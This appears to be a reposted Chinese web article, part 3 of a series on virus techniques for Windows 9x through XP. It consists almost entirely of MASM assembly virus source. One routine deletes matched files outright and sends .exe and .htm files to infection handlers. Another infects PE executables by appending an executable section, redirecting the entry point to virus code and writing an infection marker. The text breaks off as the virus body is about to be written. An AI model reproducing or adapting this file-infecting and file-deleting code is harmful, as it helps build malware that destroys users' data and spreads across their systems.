网络通信 频道

Win9x/Winnt/Win2k/Winxp病毒技术探讨(3)

;分析文件类型,入口参数为文件名和欲匹配类型(exe或htm) 
AnFile PROC FileName:DWORD,FileType:DWORD 

pushad 

AF_00: lodsb 
or al,al 
jnz AF_00 
.if FileType == FILE_ALL ;all 
push FileName 
mov eax , 12345678h 
_DeleteFile = dword ptr $-4 
call eax 
.elseif FileType == FILE_EXE ;exe 
mov eax,[esi-5] 
.if eax == "exe." 
push FileName 
call InfectFile 
.endif 
.else ;FileType = FILE_HTM 
AF_01: sub esi , 2 
lodsb 
cmp al,"." 
jnz AF_01 
mov eax,[esi-1] 
.if eax == "mth." 
push FileName 
call Parse_HTM 
.endif 
.endif 
popad 
ret 8 
AnFile ENDP 

;感染PE文件 
InfectFile PROC FileName : DWORD 

LOCAL hFile : DWORD 
LOCAL hMapping : DWORD 
LOCAL pMapping : DWORD 
LOCAL ByteWrite: DWORD 

pushad 
push NULL 
push FILE_ATTRIBUTE_NORMAL 
push OPEN_EXISTING 
push NULL 
push FILE_SHARE_READ+FILE_SHARE_WRITE 
push GENERIC_READ+GENERIC_WRITE 
push FileName 
mov eax , 12345678h 
_CreateFile = dword ptr $-4 
call eax 
cmp eax,INVALID_HANDLE_VALUE 
jz IF_Exit 
mov hFile,eax 

push 0 
push 0 
push 0 
push PAGE_READWRITE 
push NULL 
push hFile 
mov eax , 12345678h 
_CreateFileMapping = dword ptr $-4 
call eax 
or eax,eax 
jz IF_F3 
mov hMapping , eax 

push 0 
push 0 
push 0 
push FILE_MAP_READ+FILE_MAP_WRITE 
push hMapping 
mov eax , 12345678h 
_MapViewOfFile = dword ptr $-4 
call eax 
or eax,eax 
jz IF_F2 
mov pMapping,eax 
mov esi,eax 

assume esi :ptr IMAGE_DOS_HEADER 
.IF [esi].e_magic!=IMAGE_DOS_SIGNATURE 
jmp IF_F1 
.ENDIF 

.IF [esi].e_lfarlc!=040h 
jmp IF_F1 
.ENDIF 

add esi,[esi].e_lfanew ;此时edx指向PE文件头 
assume esi:ptr IMAGE_NT_HEADERS 
.IF [esi].Signature!=IMAGE_NT_SIGNATURE ;是PE文件吗? 
jmp IF_F1 
.ENDIF 
.IF word ptr [esi].OptionalHeader.Subsystem!=2 
jmp IF_F1 
.ENDIF 

.IF word ptr [esi+1ah]==0815h 
jmp IF_F1 
.ENDIF 

mov eax,[esi].OptionalHeader.AddressOfEntryPoint 
add eax,[esi].OptionalHeader.ImageBase 
mov HostEntry[ebx],eax ;保存原入口 
;*************************************************************** 
;判断是否有足够空间存储新节 
;28h=sizeof IMAGE_SECTION_HEADER 
;18h=sizeof IMAGE_FILE_HEADER+Signature 
;edi将指向新节 
;*************************************************************** 
movzx eax,[esi].FileHeader.NumberOfSections 
mov ecx,28h 
mul ecx 

lea edi,[esi] 
sub edi,pMapping 
add eax,edi 
add eax,18h 
movzx edi,[esi].FileHeader.SizeOfOptionalHeader 
add eax,edi 
mov edi,eax 
add edi,pMapping ;I forgot this first 
add eax,28h 

.IF eax>[esi].OptionalHeader.SizeOfHeaders 
jmp IF_F1 
.ENDIF 

;***************************************** 
;空间允许, ^0^,开始插入新节并填充各字段 
;esi指向原文件最后一个节,利用它来填充新节某些字段 
;***************************************** 

inc [esi].FileHeader.NumberOfSections 
assume edi:ptr IMAGE_SECTION_HEADER 
mov dword ptr[edi],00736A78h ;"xjs" 
push [esi].OptionalHeader.SizeOfImage 
pop [edi].VirtualAddress 
mov eax,offset VEnd-offset VStart 
mov [edi].Misc.VirtualSize,eax 
mov ecx,[esi].OptionalHeader.FileAlignment 
div ecx 
inc eax 
mul ecx 
mov [edi].SizeOfRawData,eax 

lea eax,[edi-28h+14h] ;PointerToRawData 
mov eax,[eax] 
lea ecx,[edi-28h+10h] ;SizeOfRawData 
mov ecx,[ecx] 
add eax,ecx 
mov [edi].PointerToRawData,eax 
mov [edi].Characteristics,0E0000020h ;可读可写可执行 

;*************************************************************** 
;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行 
;*************************************************************** 

mov eax,[edi].Misc.VirtualSize 
mov ecx,[esi].OptionalHeader.SectionAlignment 
div ecx 
inc eax 
mul ecx 
add eax,[esi].OptionalHeader.SizeOfImage 
mov [esi].OptionalHeader.SizeOfImage,eax 
mov eax,[edi].VirtualAddress 
mov [esi].OptionalHeader.AddressOfEntryPoint,eax 
mov word ptr [esi+1ah],0815h ;写入感染标志 

push FILE_BEGIN 
push 0 
push [edi].PointerToRawData 
push hFile 
mov eax , 12345678h 
_SetFilePointer = dword ptr $-4 
call eax 

;********************************************* 
;设置文件指针到结尾后,写入从VStart开始的代码,大小经过文件对齐 
;*******************************************************

文章转载地址:http://www.cnpaf.net/Class/Virus/05122020353926044766.htm

0
相关文章